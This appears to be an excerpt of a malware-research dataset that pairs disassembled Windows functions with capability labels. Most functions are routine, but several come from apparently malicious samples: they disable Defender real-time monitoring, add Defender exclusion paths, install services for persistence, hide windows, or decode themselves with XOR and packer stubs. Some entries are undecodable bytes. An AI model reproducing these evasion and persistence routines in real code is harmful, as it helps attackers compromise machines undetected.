joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5793eb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00443120
mov eax, dword [0x5c8a30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0055f4a3
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x57942d
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x579589
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00442360
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x5d58f8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0055ad32
mov ecx, dword [esi*4 + 0x5d58f8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x579582
cmp eax, dword [ecx + edi + 0x24]
jne 0x579582
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x579582
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0055ad32
add esp, 0x14
test edx, edx
jl 0x579582
jg 0x5794f8
test eax, eax
jb 0x579582
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x579582
jl 0x579512
cmp dword [ebp - 0x1008], eax
ja 0x579582
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x579530
test ebx, ebx
je 0x579569
cmp ecx, edi
jae 0x579569
mov al, byte [ecx]
cmp al, 0xd
jne 0x57954a
lea eax, [edi - 1]
cmp ecx, eax
jae 0x579556
cmp byte [ecx + 1], 0xa
jne 0x579556
inc ecx
jmp 0x579556
movzx eax, al
movsx eax, byte [eax + 0x5cdf78]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x579530
cmp edx, ebx
jne 0x579530
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x579587
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00441ed9
leave
ret
Function at 0x40cb36
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415004]
jne 0x40cb40
repz ret
jmp fcn.0040ccf6

Function at 0x40edc3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040dca4
and dword [ebp - 4], 0
cmp dword [0x43a108], 0
mov ebx, eax
jne 0x40ee74
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40ef25
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40ef25
push eax
call fcn.0040dc32
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43a108], eax
call esi
push eax
call fcn.0040dc32
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43a10c], eax
call esi
push eax
call fcn.0040dc32
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43a110], eax
call esi
push eax
call fcn.0040dc32
pop ecx
mov dword [0x43a118], eax
test eax, eax
je 0x40ee74
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040dc32
pop ecx
mov dword [0x43a114], eax
mov eax, dword [0x43a114]
cmp eax, ebx
je 0x40eecc
cmp dword [0x43a118], ebx
je 0x40eecc
push eax
call fcn.0040dcad
push dword [0x43a118]
mov esi, eax
call fcn.0040dcad
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40eecc
test edi, edi
je 0x40eecc
call esi
test eax, eax
je 0x40eec3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40eec3
test byte [ebp - 0xc], 1
jne 0x40eecc
or dword [ebp + 0x10], 0x200000
jmp 0x40ef05
mov eax, dword [0x43a10c]
cmp eax, ebx
je 0x40ef05
push eax
call fcn.0040dcad
pop ecx
test eax, eax
je 0x40ef05
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ef05
mov eax, dword [0x43a110]
cmp eax, ebx
je 0x40ef05
push eax
call fcn.0040dcad
pop ecx
test eax, eax
je 0x40ef05
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43a108]
call fcn.0040dcad
pop ecx
test eax, eax
je 0x40ef25
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ef27
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x1749bf4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1749bfe
pushal
call 0x1749c04
pop ebp
sub ebp, 0x10
sub ebp, 0x1349bf4
jmp 0x1749c1a
mov eax, 0x1349bf4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5da
mov edx, 0xe6d52a3b
xor byte [eax], dl
inc eax
dec ecx
jne 0x1749c31
jmp 0x1749c44
mov al, 0xf6
mov al, 0xb2
pop es
cmp edi, dword [ebx]
cmp edi, dword [edx + 0x3b3bc3fa]
cmp edi, dword [eax]
test byte [ebx + 0x3b3b3b3f], 0x81
adc edi, dword [ebx]
cmp edi, dword [ebx]
int3
Function at 0x58e7f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10a000]
push edi
or ebp, 0xffffffff
jmp 0x58e812
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x58e819
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x58e808
mov eax, 1
add ebx, ebx
jne 0x58e82b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x58e83c
jne 0x58e85b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x58e85b
dec eax
add ebx, ebx
jne 0x58e848
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x58e820
add ebx, ebx
jne 0x58e857
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x58e8ad
xor ecx, ecx
sub eax, 3
jb 0x58e873
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x58e8e2
sar eax, 1
mov ebp, eax
jmp 0x58e87e
add ebx, ebx
jne 0x58e87e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x58e84c
inc ecx
add ebx, ebx
jne 0x58e88c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x58e84c
add ebx, ebx
jne 0x58e899
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x58e88e
jne 0x58e8aa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x58e88e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x58e8cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x58e8be
jmp 0x58e80e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x58e8cc
add edi, ecx
jmp 0x58e80e
pop esi
mov edi, esi
mov ecx, 0x5571
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x58e8ea
cmp byte [edi], 0x12
jne 0x58e8ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x58e8ef
lea edi, [esi + 0x18b000]
mov eax, dword [edi]
or eax, eax
je 0x58e967
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1de688]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1de7a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x58e91c
mov ecx, edi
jns 0x58e94b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1de7a4]
or eax, eax
je 0x58e961
mov dword [ebx], eax
add ebx, 4
jmp 0x58e939
call dword [esi + 0x1de7b4]
mov ebp, dword [esi + 0x1de7a8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x58e99b
sub esp, 0xffffff80
jmp 0x4cc602
Function at 0x401193
Capabilities:
Create service
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
xor ebx, ebx
push 2
push ebx
push ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x4011c2
push 6
pop ebx
lea ecx, [ebp - 0xc]
call section..text
pop edi
mov eax, ebx
pop ebx
leave
ret
movsx ecx, byte [0x437cf4]
neg ecx
sbb ecx, ecx
and ecx, 0x437cf4
push ecx
movsx ecx, byte [0x437bf0]
neg ecx
sbb ecx, ecx
and ecx, 0x437bf0
push ecx
push 0x437aec
push ebx
push ebx
push 0x4378d4
push dword [0x437ae8]
push dword [0x437ae4]
push dword [0x437ae0]
push dword [0x437adc]
push 0x4376cc
push 0x4375c8
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
mov dword [ebp - 0xc], edi
cmp edi, ebx
jne 0x40122e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x4011b4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
lea eax, [ebp - 4]
push eax
push 1
push edi
mov dword [ebp - 4], 0x4377d0
call esi
push 0x437df8
push 2
push edi
mov dword [0x437e04], 3
call esi
pop esi
jmp 0x4011b4

Function at 0x40140f
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
xor esi, esi
push 0xf003f
push esi
push esi
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp eax, esi
jne 0x401446
push 6
pop esi
lea ecx, [ebp - 0xc]
call section..text
mov eax, esi
pop esi
pop ebx
leave
ret 8
push 0xf01ff
push 0x4375c8
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, esi
jne 0x401471
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
je 0x401436
mov esi, eax
jmp 0x401436
push edi
push 6
pop ecx
xor eax, eax
mov dword [ebp - 0x28], esi
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x28]
push eax
call fcn.0040125f
pop edi
cmp eax, esi
je 0x401497
cmp eax, 0x426
jne 0x4014a2
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x401436
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40146d
Function at 0x4016fd
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0xf013f
xor ebx, ebx
push ebx
mov edi, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
push edi
mov esi, 0x80000002
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401745
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20106
push ebx
push ebx
push ebx
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401763
push 4
lea eax, [ebp - 8]
push eax
push 4
push ebx
push str.DisableRealtimeMonitoring
push dword [ebp - 4]
mov dword [ebp - 8], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], ebx
pop edi
pop esi
pop ebx
je 0x401774
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x401776
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
push ebx
push esi
push edi
push 0x104
mov ebx, 0x438038
push ebx
mov dword [ebp - 0xc], 4
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 4]
push eax
push 0xf013f
push 0
mov edi, str.SOFTWAREMicrosoftWindows_DefenderExclusionsPaths
push edi
mov esi, 0x80000002
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4017db
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push 0x20106
push eax
push eax
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4017f3
and dword [ebp - 8], 0
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], 0
pop edi
pop esi
pop ebx
je 0x401805
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x401807
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 8]
push eax
xor ebx, ebx
push 0xf003f
push ebx
push str.SYSTEMCurrentControlSetServicescom1096
push 0x80000002
mov dword [ebp - 8], ebx
mov byte [ebp - 4], 0x10
mov byte [ebp - 3], 1
mov byte [ebp - 2], bl
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401855
push 4
lea eax, [ebp - 4]
push eax
push 4
push ebx
push str.Type
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 8], ebx
pop ebx
jne 0x40186c
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x401b02
Capabilities:
Delete file
Hide graphical window

Disassembly:
test byte [0x438158], 1
jne 0x401b1d
or dword [0x438158], 1
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [0x438154], eax
push 0
push dword [0x438154]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_KillTimer]
call fcn.004018d8
call fcn.00401a29
test eax, eax
je 0x401b73
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov ebx, 0x1f4
push ebx
call esi
mov edi, 0x43815c
push 0x1e
mov ecx, edi
call fcn.00401330
push ebx
call esi
push 0x1e
push 0
mov ecx, edi
call fcn.0040140f
pop edi
pop esi
pop ebx
push str.c:_a4562561.txt
call dword [sym.imp.MSVCR90.dll_remove]
pop ecx
xor eax, eax
ret

Function at 0x401ba6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x437598]
jne 0x401bb0
repz ret
jmp fcn.00402002
Function at 0x4037f0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441054]
jne 0x4037fa
repz ret
jmp fcn.00405cb0
Function at 0x7ffe5418
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x30]
pushf
popf
push es
pop ds
push bx
inc esp
inc esp
and al, 0xff
not eax
not eax
push es
pop ds
pushf
popf
add al, 0
add al, 4
sub al, 4
inc esi
dec esi
not eax
not eax
add al, 0
add al, 4
sub al, 4
push es
pop ds
add al, 0
call 0x7ffe544f
pop edx
add al, 0
push es
pop ds
xor dx, dx
and al, 0xff
add al, 0
nop
add edx, 0xd5e0
add al, 4
sub al, 4
xor ecx, ecx
lea esp, [esp]
mov cl, 0x1e
inc esi
dec esi
xor byte [ecx + edx], 0x97
loop 0x7ffe546f
push dword fs:[0x24]
and al, 0xff
pop dword [edx + 0xa]
mov cl, 0xff
push bx
inc esp
inc esp
push edx
loop 0x7ffe5487
push es
pop ds
add al, 0
mov dword [edx + 0x11], 0xffffacbb
inc esi
dec esi
mov ecx, dword [eax + 0x2c]
nop
mov dword [edx + 0x1b], ecx
add al, 0
push eax
pop eax
mov dword [edx + 0x100], ecx
inc esi
dec esi
push edx
cdq
pop edx
mov dword [eax + 0x2c], esp
push 0
push 0
push es
pop ds
and al, 0xff
nop
push 0
inc esi
dec esi
push 0
push eax
pop eax
push 0x30
xor eax, ecx
xor eax, ecx
push 0x20
add al, 0
xor eax, ecx
xor eax, ecx
push 0
stc
push 0
not eax
not eax
and al, 0xff
add edx, 0xffff7f32
xor eax, ecx
xor eax, ecx
push edx
push es
pop ds
push edx
push es
pop ds
cld
push 0
call dword [edx + 0x8211]
add al, 4
sub al, 4
cld
add esp, 0x3f8
inc esi
dec esi
xor eax, eax
add al, 0
inc eax
pushf
popf
push es
pop ds
ret 0xc
Function at 0x412b18
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x425224], 0
je 0x412b79
cmp word [0x4253f8], 0xd7b2
jne 0x412b41
cmp dword [0x425400], 0
jbe 0x412b41
mov eax, 0x4253f4
call dword [0x425410]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x421638
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x412ba0
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
pop edx
ret
cmp byte [0x421600], 0
jne 0x412b95
push 0
push 0x421658
push 0x421638
push 0
call sub.USER32.DLL_MessageBoxA
pop edx
ret
Function at 0x41b140
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x426138], 0
jne 0x41b1c1
cmp dword [0x426158], 0
jne 0x41b170
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x426158], eax
test eax, eax
jne 0x41b170
push 0x4234dc
call fcn.0041a95c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x426158]
jmp 0x41b184
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004154e4
pop ecx
mov edi, eax
test eax, eax
jne 0x41b17c
lea edi, [ebp + 1]
push edi
call fcn.00414de8
pop ecx
mov ebx, eax
mov dword [0x42613c], ebx
test ebx, ebx
jne 0x41b1ae
xor eax, eax
jmp 0x41b284
push edi
mov edx, dword [0x426158]
push edx
push ebx
call fcn.00415394
add esp, 0xc
jmp 0x41b1e1
xor esi, esi
mov ebx, dword [0x426138]
jmp 0x41b1db
push eax
call fcn.004154e4
pop ecx
test eax, eax
jne 0x41b1d7
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41b1cb
lea ebx, [esi + 4]
push 4
mov dword [0x426140], ebx
inc ebx
push ebx
call fcn.004148c0
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41b204
xor eax, eax
jmp 0x41b284
cmp dword [0x426138], 0
jne 0x41b235
xor esi, esi
mov ebx, dword [0x42613c]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41b226
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004154e4
pop ecx
mov edi, eax
test eax, eax
jne 0x41b21c
jmp 0x41b266
xor esi, esi
mov ebx, dword [0x426138]
mov eax, dword [esp]
mov edi, eax
jmp 0x41b260
push eax
call fcn.004154e4
pop ecx
test eax, eax
je 0x41b255
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41b259
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41b244
mov eax, dword [0x426138]
test eax, eax
je 0x41b276
push eax
call fcn.00414df8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x426138], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x10017610
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, 0x8100004a
jmp 0x1001c15e
add eax, 0x6060605
push es
out dx, eax
push ecx
or byte [esi], al
push es
xchg ecx, eax
xchg ebx, eax
lcall 0xfe93, 0x8f0505f6
inc dword [0xc9875905]
jg 0x1001c1af
pop es
push es
xchg ecx, edi
pop esp
jbe 0x1001c188
push es
popal
pop esp
pop eax
mov edx, ecx
or al, byte [edi + 0x74625f4]
push es
out dx, al
xchg esp, esi
and eax, 0xee060746
adc byte [esi], al
push es
push es
push es
dec edi
push ecx
push eax
cmp eax, 0x394b5040
dec edx
mov edx, ecx
or dh, cl
or dl, byte [ebp + 0x46]
inc esi
inc esp
aas
xchg ebx, eax
wait
jp 0x1001c1a3
add eax, 0x9e9b8f05
sahf
test byte [0xfe8b9105], 0xff
add eax, 0x364e9105
invalid

Function at 0x10022500
Capabilities:
Encode data using xor

Disassembly:
or al, byte [edi + 0x6e815c6]
push es
push es
xchg esi, esp
xchg ecx, eax
sub al, 7
push es
xchg esi, ecx
xor ch, byte [edx]
pop es
push es
pop esi
pop eax
push edi
mov edx, ecx
or al, byte [edi + 0x67c2bc8]
push es
pushal
xchg ecx, eax
xchg ebx, eax
jle 0x100224fb
add eax, 0x2a938f05
cli
add eax, 0x89565705
retf 0xf10a

Function at 0x10024080
Capabilities:
Encode data using xor

Disassembly:
mov byte [0x910505f0], al
dec eax
adc dl, byte [ecx - 0x6c70edb2]
invalid

Function at 0x10030fb0
Capabilities:
Execute syscall

Disassembly:
push es
xchg ecx, ecx
push es
sub dword [esi], eax
push es
popal
adc eax, 0x4fe8bbd
add eax, 0x7bc68b05
push ds
adc eax, 0x3d693bd
add eax, 0x9bbd1505
inc byte [eax - 0x702fcefb]
xchg ebx, eax
inc esi
out dx, al
add eax, 0x1569f105
invalid
mov edx, esi
invalid
Function at 0x1005ff10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x1005ffa7
push esi
push 0
push 0
push 0
lea eax, [ebp - 0x20c]
push 0xffffffffffffffff
push eax
call sym.glib_2.dll_g_utf16_to_utf8
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x1005ff73
push 0x100ec370
call sym.glib_2.dll_g_strdup
add esp, 4
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1009967c
mov esp, ebp
pop ebp
ret
push esi
call sym.glib_2.dll_g_path_skip_root
mov cl, byte [eax - 1]
lea edx, [eax - 1]
add esp, 4
cmp cl, 0x5c
je 0x1005ff8c
cmp cl, 0x2f
jne 0x1005ff93
cmp byte [eax - 2], 0x3a
cmovne eax, edx
mov byte [eax], 0
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1009967c
mov esp, ebp
pop ebp
ret
push 0x100ec370
call sym.glib_2.dll_g_strdup
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 4
call fcn.1009967c
mov esp, ebp
pop ebp
ret

Function at 0x100609b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x1010158c
call dword [0x101015e0]
mov esi, dword [0x101013bc]
test esi, esi
jne 0x10060a84
lea eax, [ebp - 0x214]
push eax
push 0x1c
push esi
mov dword [ebp - 0x214], esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jne 0x10060a30
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x214]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x10060a24
push esi
push esi
push esi
lea eax, [ebp - 0x210]
push 0xffffffffffffffff
push eax
call sym.glib_2.dll_g_utf16_to_utf8
add esp, 0x14
mov esi, eax
push dword [ebp - 0x214]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
test esi, esi
je 0x10060a39
cmp byte [esi], 0
jne 0x10060a7e
mov eax, dword [0x101013e0]
test eax, eax
jne 0x10060a4c
call fcn.1005ffd0
mov eax, dword [0x101013e0]
mov ecx, dword [0x101013c0]
push 0
push str.share
push str..local
test ecx, ecx
je 0x10060a6d
push ecx
call sym.glib_2.dll_g_build_filename
add esp, 0x10
jmp 0x10060a7c
push dword [0x101013a4]
push eax
call sym.glib_2.dll_g_build_filename
add esp, 0x14
mov esi, eax
mov dword [0x101013bc], esi
push 0x1010158c
call dword [0x101015e8]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.1009967c
mov esp, ebp
pop ebp
ret